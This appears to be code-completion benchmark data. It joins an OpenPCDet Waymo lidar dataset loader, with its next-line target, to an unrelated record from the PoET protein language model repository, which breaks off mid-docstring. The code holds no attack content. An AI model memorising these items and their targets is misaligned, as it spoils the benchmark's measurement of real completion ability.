use_sequence_data = self.dataset_cfg.get('SEQUENCE_CONFIG', None) is not None and self.dataset_cfg.SEQUENCE_CONFIG.ENABLED if use_sequence_data: st_frame, ed_frame = self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0], self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[1] self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0] = min(-4, st_frame) # at least we use 5 frames for generating gt database to support various sequence configs (<= 5 frames) st_frame = self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0] database_save_path = save_path / ('%s_gt_database_%s_sampled_%d_multiframe_%s_to_%s' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) db_info_save_path = save_path / ('%s_waymo_dbinfos_%s_sampled_%d_multiframe_%s_to_%s.pkl' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) db_data_save_path = save_path / ('%s_gt_database_%s_sampled_%d_multiframe_%s_to_%s_global.npy' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) else: database_save_path = save_path / ('%s_gt_database_%s_sampled_%d' % (processed_data_tag, split, sampled_interval)) db_info_save_path = save_path / ('%s_waymo_dbinfos_%s_sampled_%d.pkl' % (processed_data_tag, split, sampled_interval)) db_data_save_path = save_path / ('%s_gt_database_%s_sampled_%d_global.npy' % (processed_data_tag, split, sampled_interval)) database_save_path.mkdir(parents=True, exist_ok=True) all_db_infos = {} with open(info_path, 'rb') as f: infos = pickle.load(f) point_offset_cnt = 0 stacked_gt_points = [] for k in tqdm(range(0, len(infos), sampled_interval)): # print('gt_database sample: %d/%d' % (k + 1, len(infos))) info = infos[k] pc_info = info['point_cloud'] sequence_name = pc_info['lidar_sequence'] sample_idx = pc_info['sample_idx'] points = self.get_lidar(sequence_name, sample_idx) if use_sequence_data: points, num_points_all, sample_idx_pre_list, _, _, _, _ = self.get_sequence_data( info, points, sequence_name, sample_idx, self.dataset_cfg.SEQUENCE_CONFIG ) annos = info['annos'] names = annos['name'] difficulty = annos['difficulty'] gt_boxes = annos['gt_boxes_lidar'] if k % 4 != 0 and len(names) > 0: mask = (names == 'Vehicle') names = names[~mask] difficulty = difficulty[~mask] gt_boxes = gt_boxes[~mask] if k % 2 != 0 and len(names) > 0: mask = (names == 'Pedestrian') names = names[~mask] difficulty = difficulty[~mask] gt_boxes = gt_boxes[~mask] num_obj = gt_boxes.shape[0] if num_obj == 0: continue
# OpenPCDet PyTorch Dataloader and Evaluation Tools for Waymo Open Dataset # Reference https://github.com/open-mmlab/OpenPCDet # Written by Shaoshuai Shi, Chaoxu Guo # All Rights Reserved. class WaymoDataset(DatasetTemplate): def __init__(self, dataset_cfg, class_names, training=True, root_path=None, logger=None): super().__init__( dataset_cfg=dataset_cfg, class_names=class_names, training=training, root_path=root_path, logger=logger ) self.data_path = self.root_path / self.dataset_cfg.PROCESSED_DATA_TAG self.split = self.dataset_cfg.DATA_SPLIT[self.mode] split_dir = self.root_path / 'ImageSets' / (self.split + '.txt') self.sample_sequence_list = [x.strip() for x in open(split_dir).readlines()] self.infos = [] self.seq_name_to_infos = self.include_waymo_data(self.mode) self.use_shared_memory = self.dataset_cfg.get('USE_SHARED_MEMORY', False) and self.training if self.use_shared_memory: self.shared_memory_file_limit = self.dataset_cfg.get('SHARED_MEMORY_FILE_LIMIT', 0x7FFFFFFF) self.load_data_to_shared_memory() if self.dataset_cfg.get('USE_PREDBOX', False): self.pred_boxes_dict = self.load_pred_boxes_to_dict( pred_boxes_path=self.dataset_cfg.ROI_BOXES_PATH[self.mode] ) else: self.pred_boxes_dict = {} def set_split(self, split): super().__init__( dataset_cfg=self.dataset_cfg, class_names=self.class_names, training=self.training, root_path=self.root_path, logger=self.logger ) self.split = split split_dir = self.root_path / 'ImageSets' / (self.split + '.txt') self.sample_sequence_list = [x.strip() for x in open(split_dir).readlines()] self.infos = [] self.seq_name_to_infos = self.include_waymo_data(self.mode) def include_waymo_data(self, mode): self.logger.info('Loading Waymo dataset') waymo_infos = [] seq_name_to_infos = {} num_skipped_infos = 0 for k in range(len(self.sample_sequence_list)): sequence_name = os.path.splitext(self.sample_sequence_list[k])[0] info_path = self.data_path / sequence_name / ('%s.pkl' % sequence_name) info_path = self.check_sequence_name_with_all_version(info_path) if not info_path.exists(): num_skipped_infos += 1 continue with open(info_path, 'rb') as f: infos = pickle.load(f) waymo_infos.extend(infos) seq_name_to_infos[infos[0]['point_cloud']['lidar_sequence']] = infos self.infos.extend(waymo_infos[:]) self.logger.info('Total skipped info %s' % num_skipped_infos) self.logger.info('Total samples for Waymo dataset: %d' % (len(waymo_infos))) if self.dataset_cfg.SAMPLED_INTERVAL[mode] > 1: sampled_waymo_infos = [] for k in range(0, len(self.infos), self.dataset_cfg.SAMPLED_INTERVAL[mode]): sampled_waymo_infos.append(self.infos[k]) self.infos = sampled_waymo_infos self.logger.info('Total sampled samples for Waymo dataset: %d' % len(self.infos)) use_sequence_data = self.dataset_cfg.get('SEQUENCE_CONFIG', None) is not None and self.dataset_cfg.SEQUENCE_CONFIG.ENABLED if not use_sequence_data: seq_name_to_infos = None return seq_name_to_infos def load_pred_boxes_to_dict(self, pred_boxes_path): self.logger.info(f'Loading and reorganizing pred_boxes to dict from path: {pred_boxes_path}') with open(pred_boxes_path, 'rb') as f: pred_dicts = pickle.load(f) pred_boxes_dict = {} for index, box_dict in enumerate(pred_dicts): seq_name = box_dict['frame_id'][:-4].replace('training_', '').replace('validation_', '') sample_idx = int(box_dict['frame_id'][-3:]) if seq_name not in pred_boxes_dict: pred_boxes_dict[seq_name] = {} pred_labels = np.array([self.class_names.index(box_dict['name'][k]) + 1 for k in range(box_dict['name'].shape[0])]) pred_boxes = np.concatenate((box_dict['boxes_lidar'], box_dict['score'][:, np.newaxis], pred_labels[:, np.newaxis]), axis=-1) pred_boxes_dict[seq_name][sample_idx] = pred_boxes self.logger.info(f'Predicted boxes has been loaded, total sequences: {len(pred_boxes_dict)}') return pred_boxes_dict def load_data_to_shared_memory(self): self.logger.info(f'Loading training data to shared memory (file limit={self.shared_memory_file_limit})') cur_rank, num_gpus = common_utils.get_dist_info() all_infos = self.infos[:self.shared_memory_file_limit] \ if self.shared_memory_file_limit < len(self.infos) else self.infos cur_infos = all_infos[cur_rank::num_gpus] for info in cur_infos: pc_info = info['point_cloud'] sequence_name = pc_info['lidar_sequence'] sample_idx = pc_info['sample_idx'] sa_key = f'{sequence_name}___{sample_idx}' if os.path.exists(f"/dev/shm/{sa_key}"): continue points = self.get_lidar(sequence_name, sample_idx) common_utils.sa_create(f"shm://{sa_key}", points) dist.barrier() self.logger.info('Training data has been saved to shared memory') def clean_shared_memory(self): self.logger.info(f'Clean training data from shared memory (file limit={self.shared_memory_file_limit})') cur_rank, num_gpus = common_utils.get_dist_info() all_infos = self.infos[:self.shared_memory_file_limit] \ if self.shared_memory_file_limit < len(self.infos) else self.infos cur_infos = all_infos[cur_rank::num_gpus] for info in cur_infos: pc_info = info['point_cloud'] sequence_name = pc_info['lidar_sequence'] sample_idx = pc_info['sample_idx'] sa_key = f'{sequence_name}___{sample_idx}' if not os.path.exists(f"/dev/shm/{sa_key}"): continue SharedArray.delete(f"shm://{sa_key}") if num_gpus > 1: dist.barrier() self.logger.info('Training data has been deleted from shared memory') @staticmethod def check_sequence_name_with_all_version(sequence_file): if not sequence_file.exists(): found_sequence_file = sequence_file for pre_text in ['training', 'validation', 'testing']: if not sequence_file.exists(): temp_sequence_file = Path(str(sequence_file).replace('segment', pre_text + '_segment')) if temp_sequence_file.exists(): found_sequence_file = temp_sequence_file break if not found_sequence_file.exists(): found_sequence_file = Path(str(sequence_file).replace('_with_camera_labels', '')) if found_sequence_file.exists(): sequence_file = found_sequence_file return sequence_file def get_infos(self, raw_data_path, save_path, num_workers=multiprocessing.cpu_count(), has_label=True, sampled_interval=1, update_info_only=False): print('---------------The waymo sample interval is %d, total sequecnes is %d-----------------' % (sampled_interval, len(self.sample_sequence_list))) process_single_sequence = partial( waymo_utils.process_single_sequence, save_path=save_path, sampled_interval=sampled_interval, has_label=has_label, update_info_only=update_info_only ) sample_sequence_file_list = [ self.check_sequence_name_with_all_version(raw_data_path / sequence_file) for sequence_file in self.sample_sequence_list ] # process_single_sequence(sample_sequence_file_list[0]) with multiprocessing.Pool(num_workers) as p: sequence_infos = list(tqdm(p.imap(process_single_sequence, sample_sequence_file_list), total=len(sample_sequence_file_list))) all_sequences_infos = [item for infos in sequence_infos for item in infos] return all_sequences_infos def get_lidar(self, sequence_name, sample_idx): lidar_file = self.data_path / sequence_name / ('%04d.npy' % sample_idx) point_features = np.load(lidar_file) # (N, 7): [x, y, z, intensity, elongation, NLZ_flag] points_all, NLZ_flag = point_features[:, 0:5], point_features[:, 5] if not self.dataset_cfg.get('DISABLE_NLZ_FLAG_ON_POINTS', False): points_all = points_all[NLZ_flag == -1] if self.dataset_cfg.get('POINTS_TANH_DIM', None) is None: points_all[:, 3] = np.tanh(points_all[:, 3]) else: for dim_idx in self.dataset_cfg.POINTS_TANH_DIM: points_all[:, dim_idx] = np.tanh(points_all[:, dim_idx]) return points_all @staticmethod def transform_prebox_to_current(pred_boxes3d, pose_pre, pose_cur): """ Args: pred_boxes3d (N, 9 or 11): [x, y, z, dx, dy, dz, raw, <vx, vy,> score, label] pose_pre (4, 4): pose_cur (4, 4): Returns: """ assert pred_boxes3d.shape[-1] in [9, 11] pred_boxes3d = pred_boxes3d.copy() expand_bboxes = np.concatenate([pred_boxes3d[:, :3], np.ones((pred_boxes3d.shape[0], 1))], axis=-1) bboxes_global = np.dot(expand_bboxes, pose_pre.T)[:, :3] expand_bboxes_global = np.concatenate([bboxes_global[:, :3],np.ones((bboxes_global.shape[0], 1))], axis=-1) bboxes_pre2cur = np.dot(expand_bboxes_global, np.linalg.inv(pose_cur.T))[:, :3] pred_boxes3d[:, 0:3] = bboxes_pre2cur if pred_boxes3d.shape[-1] == 11: expand_vels = np.concatenate([pred_boxes3d[:, 7:9], np.zeros((pred_boxes3d.shape[0], 1))], axis=-1) vels_global = np.dot(expand_vels, pose_pre[:3, :3].T) vels_pre2cur = np.dot(vels_global, np.linalg.inv(pose_cur[:3, :3].T))[:,:2] pred_boxes3d[:, 7:9] = vels_pre2cur pred_boxes3d[:, 6] = pred_boxes3d[..., 6] + np.arctan2(pose_pre[..., 1, 0], pose_pre[..., 0, 0]) pred_boxes3d[:, 6] = pred_boxes3d[..., 6] - np.arctan2(pose_cur[..., 1, 0], pose_cur[..., 0, 0]) return pred_boxes3d @staticmethod def reorder_rois_for_refining(pred_bboxes): num_max_rois = max([len(bbox) for bbox in pred_bboxes]) num_max_rois = max(1, num_max_rois) # at least one faked rois to avoid error ordered_bboxes = np.zeros([len(pred_bboxes), num_max_rois, pred_bboxes[0].shape[-1]], dtype=np.float32) for bs_idx in range(ordered_bboxes.shape[0]): ordered_bboxes[bs_idx, :len(pred_bboxes[bs_idx])] = pred_bboxes[bs_idx] return ordered_bboxes def get_sequence_data(self, info, points, sequence_name, sample_idx, sequence_cfg, load_pred_boxes=False): """ Args: info: points: sequence_name: sample_idx: sequence_cfg: Returns: """ def remove_ego_points(points, center_radius=1.0): mask = ~((np.abs(points[:, 0]) < center_radius) & (np.abs(points[:, 1]) < center_radius)) return points[mask] def load_pred_boxes_from_dict(sequence_name, sample_idx): """ boxes: (N, 11) [x, y, z, dx, dy, dn, raw, vx, vy, score, label] """ sequence_name = sequence_name.replace('training_', '').replace('validation_', '') load_boxes = self.pred_boxes_dict[sequence_name][sample_idx] assert load_boxes.shape[-1] == 11 load_boxes[:, 7:9] = -0.1 * load_boxes[:, 7:9] # transfer speed to negtive motion from t to t-1 return load_boxes pose_cur = info['pose'].reshape((4, 4)) num_pts_cur = points.shape[0] sample_idx_pre_list = np.clip(sample_idx + np.arange(sequence_cfg.SAMPLE_OFFSET[0], sequence_cfg.SAMPLE_OFFSET[1]), 0, 0x7FFFFFFF) sample_idx_pre_list = sample_idx_pre_list[::-1] if sequence_cfg.get('ONEHOT_TIMESTAMP', False): onehot_cur = np.zeros((points.shape[0], len(sample_idx_pre_list) + 1)).astype(points.dtype) onehot_cur[:, 0] = 1 points = np.hstack([points, onehot_cur]) else: points = np.hstack([points, np.zeros((points.shape[0], 1)).astype(points.dtype)]) points_pre_all = [] num_points_pre = [] pose_all = [pose_cur] pred_boxes_all = [] if load_pred_boxes: pred_boxes = load_pred_boxes_from_dict(sequence_name, sample_idx) pred_boxes_all.append(pred_boxes) sequence_info = self.seq_name_to_infos[sequence_name] for idx, sample_idx_pre in enumerate(sample_idx_pre_list): points_pre = self.get_lidar(sequence_name, sample_idx_pre) pose_pre = sequence_info[sample_idx_pre]['pose'].reshape((4, 4)) expand_points_pre = np.concatenate([points_pre[:, :3], np.ones((points_pre.shape[0], 1))], axis=-1) points_pre_global = np.dot(expand_points_pre, pose_pre.T)[:, :3] expand_points_pre_global = np.concatenate([points_pre_global, np.ones((points_pre_global.shape[0], 1))], axis=-1) points_pre2cur = np.dot(expand_points_pre_global, np.linalg.inv(pose_cur.T))[:, :3] points_pre = np.concatenate([points_pre2cur, points_pre[:, 3:]], axis=-1) if sequence_cfg.get('ONEHOT_TIMESTAMP', False): onehot_vector = np.zeros((points_pre.shape[0], len(sample_idx_pre_list) + 1)) onehot_vector[:, idx + 1] = 1 points_pre = np.hstack([points_pre, onehot_vector]) else: # add timestamp points_pre = np.hstack([points_pre, 0.1 * (sample_idx - sample_idx_pre) * np.ones((points_pre.shape[0], 1)).astype(points_pre.dtype)]) # one frame 0.1s points_pre = remove_ego_points(points_pre, 1.0) points_pre_all.append(points_pre) num_points_pre.append(points_pre.shape[0]) pose_all.append(pose_pre) if load_pred_boxes: pose_pre = sequence_info[sample_idx_pre]['pose'].reshape((4, 4)) pred_boxes = load_pred_boxes_from_dict(sequence_name, sample_idx_pre) pred_boxes = self.transform_prebox_to_current(pred_boxes, pose_pre, pose_cur) pred_boxes_all.append(pred_boxes) points = np.concatenate([points] + points_pre_all, axis=0).astype(np.float32) num_points_all = np.array([num_pts_cur] + num_points_pre).astype(np.int32) poses = np.concatenate(pose_all, axis=0).astype(np.float32) if load_pred_boxes: temp_pred_boxes = self.reorder_rois_for_refining(pred_boxes_all) pred_boxes = temp_pred_boxes[:, :, 0:9] pred_scores = temp_pred_boxes[:, :, 9] pred_labels = temp_pred_boxes[:, :, 10] else: pred_boxes = pred_scores = pred_labels = None return points, num_points_all, sample_idx_pre_list, poses, pred_boxes, pred_scores, pred_labels def __len__(self): if self._merge_all_iters_to_one_epoch: return len(self.infos) * self.total_epochs return len(self.infos) def __getitem__(self, index): if self._merge_all_iters_to_one_epoch: index = index % len(self.infos) info = copy.deepcopy(self.infos[index]) pc_info = info['point_cloud'] sequence_name = pc_info['lidar_sequence'] sample_idx = pc_info['sample_idx'] input_dict = { 'sample_idx': sample_idx } if self.use_shared_memory and index < self.shared_memory_file_limit: sa_key = f'{sequence_name}___{sample_idx}' points = SharedArray.attach(f"shm://{sa_key}").copy() else: points = self.get_lidar(sequence_name, sample_idx) if self.dataset_cfg.get('SEQUENCE_CONFIG', None) is not None and self.dataset_cfg.SEQUENCE_CONFIG.ENABLED: points, num_points_all, sample_idx_pre_list, poses, pred_boxes, pred_scores, pred_labels = self.get_sequence_data( info, points, sequence_name, sample_idx, self.dataset_cfg.SEQUENCE_CONFIG, load_pred_boxes=self.dataset_cfg.get('USE_PREDBOX', False) ) input_dict['poses'] = poses if self.dataset_cfg.get('USE_PREDBOX', False): input_dict.update({ 'roi_boxes': pred_boxes, 'roi_scores': pred_scores, 'roi_labels': pred_labels, }) input_dict.update({ 'points': points, 'frame_id': info['frame_id'], }) if 'annos' in info: annos = info['annos'] annos = common_utils.drop_info_with_name(annos, name='unknown') if self.dataset_cfg.get('INFO_WITH_FAKELIDAR', False): gt_boxes_lidar = box_utils.boxes3d_kitti_fakelidar_to_lidar(annos['gt_boxes_lidar']) else: gt_boxes_lidar = annos['gt_boxes_lidar'] if self.dataset_cfg.get('TRAIN_WITH_SPEED', False): assert gt_boxes_lidar.shape[-1] == 9 else: gt_boxes_lidar = gt_boxes_lidar[:, 0:7] if self.training and self.dataset_cfg.get('FILTER_EMPTY_BOXES_FOR_TRAIN', False): mask = (annos['num_points_in_gt'] > 0) # filter empty boxes annos['name'] = annos['name'][mask] gt_boxes_lidar = gt_boxes_lidar[mask] annos['num_points_in_gt'] = annos['num_points_in_gt'][mask] input_dict.update({ 'gt_names': annos['name'], 'gt_boxes': gt_boxes_lidar, 'num_points_in_gt': annos.get('num_points_in_gt', None) }) data_dict = self.prepare_data(data_dict=input_dict) data_dict['metadata'] = info.get('metadata', info['frame_id']) data_dict.pop('num_points_in_gt', None) return data_dict def evaluation(self, det_annos, class_names, **kwargs): if 'annos' not in self.infos[0].keys(): return 'No ground-truth boxes for evaluation', {} def kitti_eval(eval_det_annos, eval_gt_annos): map_name_to_kitti = { 'Vehicle': 'Car', 'Pedestrian': 'Pedestrian', 'Cyclist': 'Cyclist', 'Sign': 'Sign', 'Car': 'Car' } kitti_utils.transform_annotations_to_kitti_format(eval_det_annos, map_name_to_kitti=map_name_to_kitti) kitti_utils.transform_annotations_to_kitti_format( eval_gt_annos, map_name_to_kitti=map_name_to_kitti, info_with_fakelidar=self.dataset_cfg.get('INFO_WITH_FAKELIDAR', False) ) kitti_class_names = [map_name_to_kitti[x] for x in class_names] ap_result_str, ap_dict = kitti_eval.get_official_eval_result( gt_annos=eval_gt_annos, dt_annos=eval_det_annos, current_classes=kitti_class_names ) return ap_result_str, ap_dict def waymo_eval(eval_det_annos, eval_gt_annos): eval = OpenPCDetWaymoDetectionMetricsEstimator() ap_dict = eval.waymo_evaluation( eval_det_annos, eval_gt_annos, class_name=class_names, distance_thresh=1000, fake_gt_infos=self.dataset_cfg.get('INFO_WITH_FAKELIDAR', False) ) ap_result_str = '\n' overall_result = {} for idx, key in enumerate(ap_dict): level_metric = key.split('_')[5] # '1/AP', '2/AP', '1/APH', '2/APH' key_overall = "LEVEL_" + level_metric + '_Overall' if key_overall in overall_result.keys(): overall_result[key_overall]["value"] = overall_result[key_overall]["value"] + ap_dict[key][0] overall_result[key_overall]["count"] = overall_result[key_overall]["count"] + 1 else: overall_result[key_overall] = {} overall_result[key_overall]["value"] = ap_dict[key][0] overall_result[key_overall]["count"] = 1 ap_dict[key] = ap_dict[key][0] ap_result_str += '%s: %.4f \n' % (key, ap_dict[key]) for key in overall_result: ap_dict[key] = overall_result[key]['value'] / overall_result[key]['count'] ap_result_str += '%s: %.4f \n' % (key, ap_dict[key]) return ap_result_str, ap_dict eval_det_annos = copy.deepcopy(det_annos) eval_gt_annos = [copy.deepcopy(info['annos']) for info in self.infos] if kwargs['eval_metric'] == 'kitti': ap_result_str, ap_dict = kitti_eval(eval_det_annos, eval_gt_annos) elif kwargs['eval_metric'] == 'waymo': ap_result_str, ap_dict = waymo_eval(eval_det_annos, eval_gt_annos) else: raise NotImplementedError return ap_result_str, ap_dict def create_groundtruth_database(self, info_path, save_path, used_classes=None, split='train', sampled_interval=10, processed_data_tag=None): use_sequence_data = self.dataset_cfg.get('SEQUENCE_CONFIG', None) is not None and self.dataset_cfg.SEQUENCE_CONFIG.ENABLED if use_sequence_data: st_frame, ed_frame = self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0], self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[1] self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0] = min(-4, st_frame) # at least we use 5 frames for generating gt database to support various sequence configs (<= 5 frames) st_frame = self.dataset_cfg.SEQUENCE_CONFIG.SAMPLE_OFFSET[0] database_save_path = save_path / ('%s_gt_database_%s_sampled_%d_multiframe_%s_to_%s' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) db_info_save_path = save_path / ('%s_waymo_dbinfos_%s_sampled_%d_multiframe_%s_to_%s.pkl' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) db_data_save_path = save_path / ('%s_gt_database_%s_sampled_%d_multiframe_%s_to_%s_global.npy' % (processed_data_tag, split, sampled_interval, st_frame, ed_frame)) else: database_save_path = save_path / ('%s_gt_database_%s_sampled_%d' % (processed_data_tag, split, sampled_interval)) db_info_save_path = save_path / ('%s_waymo_dbinfos_%s_sampled_%d.pkl' % (processed_data_tag, split, sampled_interval)) db_data_save_path = save_path / ('%s_gt_database_%s_sampled_%d_global.npy' % (processed_data_tag, split, sampled_interval)) database_save_path.mkdir(parents=True, exist_ok=True) all_db_infos = {} with open(info_path, 'rb') as f: infos = pickle.load(f) point_offset_cnt = 0 stacked_gt_points = [] for k in tqdm(range(0, len(infos), sampled_interval)): # print('gt_database sample: %d/%d' % (k + 1, len(infos))) info = infos[k] pc_info = info['point_cloud'] sequence_name = pc_info['lidar_sequence'] sample_idx = pc_info['sample_idx'] points = self.get_lidar(sequence_name, sample_idx) if use_sequence_data: points, num_points_all, sample_idx_pre_list, _, _, _, _ = self.get_sequence_data( info, points, sequence_name, sample_idx, self.dataset_cfg.SEQUENCE_CONFIG ) annos = info['annos'] names = annos['name'] difficulty = annos['difficulty'] gt_boxes = annos['gt_boxes_lidar'] if k % 4 != 0 and len(names) > 0: mask = (names == 'Vehicle') names = names[~mask] difficulty = difficulty[~mask] gt_boxes = gt_boxes[~mask] if k % 2 != 0 and len(names) > 0: mask = (names == 'Pedestrian') names = names[~mask] difficulty = difficulty[~mask] gt_boxes = gt_boxes[~mask] num_obj = gt_boxes.shape[0] if num_obj == 0: continue
box_idxs_of_pts = roiaware_pool3d_utils.points_in_boxes_gpu(
0
2023-10-25 02:57:35+00:00
12k
OpenProteinAI/PoET
poet/models/poet.py
[ { "identifier": "Uniprot21", "path": "poet/alphabets.py", "snippet": "class Uniprot21(Alphabet):\n def __init__(\n self,\n mask=False,\n include_gap=False,\n include_startstop=False,\n distinct_startstop=False,\n ):\n chars = b\"ARNDCQEGHILKMFPSTWYV\"\n ...
import copy import torch import torch.nn as nn import torch.nn.functional as F from typing import Optional, Union from tqdm import tqdm from poet.alphabets import Uniprot21 from poet.models.modules.activation import gelu from poet.models.modules.attention import MultiheadAttention from poet.models.modules.embedding import RotaryEmbedding from poet.models.modules.packed_sequence import ( PackedTensorSequences, get_mask, pad_input, unpad_input, ) from poet.models.modules.transformer import TransformerEncoder from poet.models.modules.transformer_rotary import TieredRotaryTransformerEncoderLayer
8,979
# apply the sequence-of-sequence attention layer on the reshaped sequences x_norm = copy.copy(x) x_norm.x = layer.norm2.forward(x.x) x_norm_key, x_norm_value = _compute_attn_memory(x_norm, layer.multihead_attn) key_buffer, value_buffer = ( buffer[2 * layer_idx], buffer[2 * layer_idx + 1], ) key_buffer[:, -1], value_buffer[:, -1] = x_norm_key.x, x_norm_value.x if memory is not None: key_memory, value_memory = ( copy.copy(memory[2 * layer_idx]), copy.copy(memory[2 * layer_idx + 1]), ) key_memory.x, value_memory.x = ( key_memory.x.to(x.x.device), value_memory.x.to(x.x.device), ) _packed_sequence_append(key_memory, x=key_buffer) _packed_sequence_append(value_memory, x=value_buffer) else: # TODO: this code path may be untested key_memory = PackedTensorSequences.pack_input(key_buffer) value_memory = PackedTensorSequences.pack_input(value_buffer) key_memory.x = key_memory.x.unflatten(1, (x_norm_key.x.size(1), -1)) value_memory.x = value_memory.x.unflatten(1, (x_norm_value.x.size(1), -1)) try: layer.multihead_attn.self_attention = False x2: torch.Tensor x2, _ = layer.multihead_attn.forward_packed( x_norm, key_memory, value_memory, attn_mask=None, key_padding_mask=None, return_weights=False, transform_query=True, transform_key=False, transform_value=False, ) finally: layer.multihead_attn.self_attention = True x = copy.copy(x) x.x = x.x + layer.dropout2.forward(x2.x) x2 = layer.linear2(layer.dropout(gelu(layer.linear1(layer.norm3(x.x))))) x.x = x.x + layer.dropout3(x2) return x class PoET(nn.Module, LogitsAllocateMemoryMixin): def __init__( self, n_vocab: int, hidden_dim: int = 768, ff_dim: Optional[int] = None, num_layers: int = 6, nhead: int = 12, dropout: float = 0, use_multi_rotary: bool = True, norm: bool = False, mask_token: int = 21, # kept just to maintain compatability with old models ): super().__init__() self.n_vocab = n_vocab self.hidden_dim = hidden_dim self.dropout = dropout self.token_embed = nn.Embedding(n_vocab, hidden_dim) # kept just to maintain compatability with old models self.rotary_emb = RotaryEmbedding(hidden_dim // nhead) ff_dim = ff_dim or 4 * hidden_dim self.decoder = TransformerEncoder( encoder_layer=TieredRotaryTransformerEncoderLayer( d_model=hidden_dim, nhead=nhead, dim_feedforward=ff_dim, dropout=dropout, use_multi_rotary=use_multi_rotary, batch_first=True, causal=True, ), num_layers=num_layers, ) if norm: self.norm = nn.LayerNorm(hidden_dim) else: self.norm = nn.Identity() self.linear = nn.Linear(hidden_dim, n_vocab) def embed( self, xs: torch.Tensor, segment_sizes: torch.Tensor, allow_cpu_offload: bool = False, pbar_position: Optional[int] = None, ) -> list[PackedTensorSequences]: """ Returns the memory of each layer in a list. The memory is the input to the multi-sequence attention. Args: xs: (B, L) sequence of sequences segment_sizes: (B, N) the lengths of each sequence in the sequence of sequences allow_cpu_offload: whether or not memory should be offloaded to cpu if CUDA OOMs pbar_position: position of a tqdm progress bar if not None Returns: The memory. If allow_cpu_offload and there is insufficient GPU memory to store the tensors, the tensors will be stored in CPU memory instead. """ seqs_seqlens = segment_sizes.sum(dim=1).type(torch.int32)
def top_k_top_p_filtering( logits: torch.Tensor, top_k: Optional[int] = 0, top_p: Optional[float] = 1.0, filter_value: float = -float("Inf"), min_tokens_to_keep: int = 1, ) -> torch.Tensor: """Filter a distribution of logits using top-k and/or nucleus (top-p) filtering Args: logits: logits distribution shape (batch size, vocabulary size) if top_k > 0: keep only top k tokens with highest probability (top-k filtering). if top_p < 1.0: keep the top tokens with cumulative probability >= top_p (nucleus filtering). Nucleus filtering is described in Holtzman et al. (http://arxiv.org/abs/1904.09751) Make sure we keep at least min_tokens_to_keep per batch example in the output From: https://gist.github.com/thomwolf/1a5a29f6962089e871b94cbd09daf317 Adapted from: https://huggingface.co/transformers/v3.2.0/_modules/transformers/generation_utils.html """ if top_k is not None: top_k = min(max(top_k, min_tokens_to_keep), logits.size(-1)) # Safety check # Remove all tokens with a probability less than the last token of the top-k indices_to_remove = logits < torch.topk(logits, top_k)[0][..., -1, None] logits[indices_to_remove] = filter_value if top_p is not None and top_p < 1.0: sorted_logits, sorted_indices = torch.sort(logits, descending=True) cumulative_probs = torch.cumsum(F.softmax(sorted_logits, dim=-1), dim=-1) # Remove tokens with cumulative probability above the threshold (token with 0 are kept) sorted_indices_to_remove = cumulative_probs > top_p if min_tokens_to_keep > 1: # Keep at least min_tokens_to_keep (set to min_tokens_to_keep-1 because we add the first one below) sorted_indices_to_remove[..., :min_tokens_to_keep] = 0 # Shift the indices to the right to keep also the first token above the threshold sorted_indices_to_remove[..., 1:] = sorted_indices_to_remove[..., :-1].clone() sorted_indices_to_remove[..., 0] = 0 # scatter sorted tensors to original indexing indices_to_remove = sorted_indices_to_remove.scatter( 1, sorted_indices, sorted_indices_to_remove ) logits[indices_to_remove] = filter_value return logits class LogitsAllocateMemoryMixin(object): """ Stateless mixin providing methods for preallocating memory for logits calculations. """ @classmethod def logits_allocate_memory( cls, memory: Optional[list[PackedTensorSequences]], batch_size: int, length: int, ) -> Optional[list[PackedTensorSequences]]: """ Modifies the tensors in `memory` to preallocate memory needed for self.logits Can raise a CUDA OOM error, in which case `memory` may be in an inconsistent state. Args: memory: output of self.embed or self.logits_allocate_memory all sequences in each individual memory in the list must be identical batch_size: batch size that self.logits will be used with length: additional padding to add to memory can be negative the total padding should be equal to the length of the sequences that self.logits will be used with Returns: reference to modified input memory Raises: ValueError: for invalid combinations of current_batch_size, batch_size, and length """ if memory is None or len(memory) == 0: return memory current_batch_size = memory[0].cu_seqlens.numel() - 1 if length == 0 and batch_size == current_batch_size: return memory elif length == 0 and batch_size < current_batch_size: memory = cls._logits_allocate_memory_reduce_batch_size(memory, batch_size) elif length <= 0 and batch_size == 1: memory = cls._logits_allocate_memory_reduce_length(memory, length) else: memory = cls._logits_allocate_memory(memory, batch_size, length) return memory @staticmethod def can_logits_allocate_memory_heuristic( memory: Optional[list[PackedTensorSequences]], batch_size: int, ) -> bool: """ Determine whether or not there is likely to be sufficient CPU or GPU memory to successfully self.logits_allocate_memory(memory, batch_size, length=0) Args: memory: memory to allocate RAM for; all of memory should be on the same device batch_size: batch size that memory will be preallocated for Returns: whether or not there is likely to be sufficient memory, based on a heuristic """ if memory is None or len(memory) == 0: return True if memory[0].x.device == torch.device("cpu"): return True # just assuming here, this may be false else: memory_usage = ( len(memory) * memory[0].x.element_size() * memory[0].x.nelement() ) new_memory_usage = batch_size * memory_usage # overestimate by 1.5x just in case additional_memory_usage = new_memory_usage * 1.5 torch.cuda.empty_cache() available_memory = torch.cuda.get_device_properties( memory[0].x.device ).total_memory # try to keep at least 5GB vram free regardless sufficient_memory = (available_memory - additional_memory_usage) / ( 1024**3 ) > 5 return sufficient_memory @staticmethod def _logits_allocate_memory_reduce_batch_size( memory: list[PackedTensorSequences], batch_size: int, ) -> list[PackedTensorSequences]: """ Reduces the batch size of each sequence in memory to batch_size. Assumes batch_size <= batch size of each sequence. """ B = batch_size for mem in memory: mem.x = mem.x[: mem.max_s * B] mem.positions = mem.positions[: mem.max_s * B] mem.cu_seqlens = mem.cu_seqlens[: B + 1] mem.cu_seqlens_cpu = mem.cu_seqlens_cpu[: B + 1] mem.to_paddedable = False return memory @staticmethod def _logits_allocate_memory_reduce_length( memory: list[PackedTensorSequences], length: int, ) -> list[PackedTensorSequences]: """ Reduces the length of each sequence in memory by |length|. Assumes length <= 0 and the batch sizes 